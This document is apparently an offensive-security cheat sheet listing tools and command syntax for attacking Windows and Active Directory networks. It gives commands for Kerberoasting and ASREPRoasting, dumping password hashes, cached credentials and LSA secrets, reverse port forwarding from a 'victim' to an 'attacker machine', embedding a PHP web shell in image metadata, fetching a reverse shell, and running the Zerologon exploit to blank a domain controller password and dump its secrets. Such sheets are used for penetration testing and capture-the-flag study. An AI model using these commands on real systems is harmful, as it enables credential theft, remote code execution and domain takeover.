Windows and Active Directory

Tool	Use	Command Syntax
Bloodhound.py	BloodHound written in python. Used to obtain AD infromations from a windows machine	python3 bloodhound-python -u <username> -p <passphrase> -ns <machineIP> -d <domainname> -c all
Impackets	Swiss Knife for most Windows AD attacks	python GetNPUsers.py <domain_name>/ -usersfile <users_file> = ASREPRoasting python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> = Kerberoasting
Kerbrute	A tool written in GO to enumerate AD users	./kerbrute userenum --dc <machine ip> -d <doaminname> <users_file>
CredDump	Used to obtain Cached Credentials, LSA Secrets and Password hash when system and sam files are available	./pwdump.py <system hive> <sam hive> = Obtain Password Credentials ./cachedump.py <system hive> <sam hive> = obtain cached credentials ./lsadum.py <system hive> <sam hive> = Obtain LSA Dumps
PwdDump	After getting the administrative access, running this will get the password hashes	.\PwDump7.exe
ApacheDirectoryStudio	LDAP browser which is used to analyze LDAP instance running on linux (CREDS required), here transferring the LDAP running on a victim machine and accessing it in the attacker machine	sudo ssh -L 389:172.20.0.10:389 [email protected]

Port Forwarding

Tool	Use	Command Syntax
Chisel	Used to forward a service running on a port in the victim machine	./chisel server -p <port no.> --revserse = on the attacker machine ./chisel client <attackerip:port> R:1234:127.0.0.1:1121 = Forwards the service running on port 1121 to the port 1234 on attackers machine
socat	Swiss Knife for Port forwarding	socat TCP-LISTEN:8000,fork TCP:<machineIP>:<port> = Listens on every connection to port 8000 and forwards to the machineIP and its port socat TCP-LISTEN:9002,bind=<specific ip>,fork,reuseaddr TCP:localhost:<port> = forward all incoming requests to the port 9002 from to the localhost port, reuseaddr is used to specify socat use the address (eg. localhost) even if its used by other services
plink	SSH Putty in CLI mode	.\plink.exe <user@host> -R <remote port>:<localhost>:<local port> .\plink.exe [email protected] -R 8888:127.0.0.1:8888 = port forwards the service running on victim machines port 8888 to the attacker machines 8888

Directory Enumeration

Tool	Use	Command Syntax
DirSearch	Directory enumeration Tool	python3 dirsearch.py -u <url> -e <extn>
Gobuster	Directory enumeration tool written in GO	gobuster dir -u <url> -w <wordlist> -x <extn> -b <hide status code> -t <threads>
RustBuster	Direcotry Enumeration tool written in rust	rustbuster dir -u <url> -w <wordlist> -e <extn>

Post Exploitation

Tool	Use	Command Syntax
LinEnum	Post Enumeration scripts that automates enumeration	./LinEnum.sh
LinPeas	Post Enumeration Script	./linpeas.sh
WinPEASbat/WinPEASexe	Windows post enumeration script and exe	.\winPEAS.bat

Misc

Tool	Use	Command Syntax
Exiftool	Inspects the meta data of the image, Injects php payload in the comment section for file upload vulns, which can be added double extension file.php.ext	./exiftool -Comment='<?php system($_GET['cmd']); ?>' <image.ext>
Git Dumper	Dump the Github repo if found in website	./git-dumper.py <website/.git> <output folder>
lxd-alpine builder	When a victim machine is implemented with lxc the privesc is done with this	article here
Php-reverse-shell	Php reverse shell, when an upload is possible change the IP and make req to obtain reverse shell
ZerologonPOC	CVE-2020-1472 Exploit, sets the domain admin password as empty pass and dump the secrets. PS: Latest Version of Impackets is required	python3 set_empty_pw.py machinename/domainname machine IP; secretsdump.py -just-dc -no-pass machinename\$@machineip
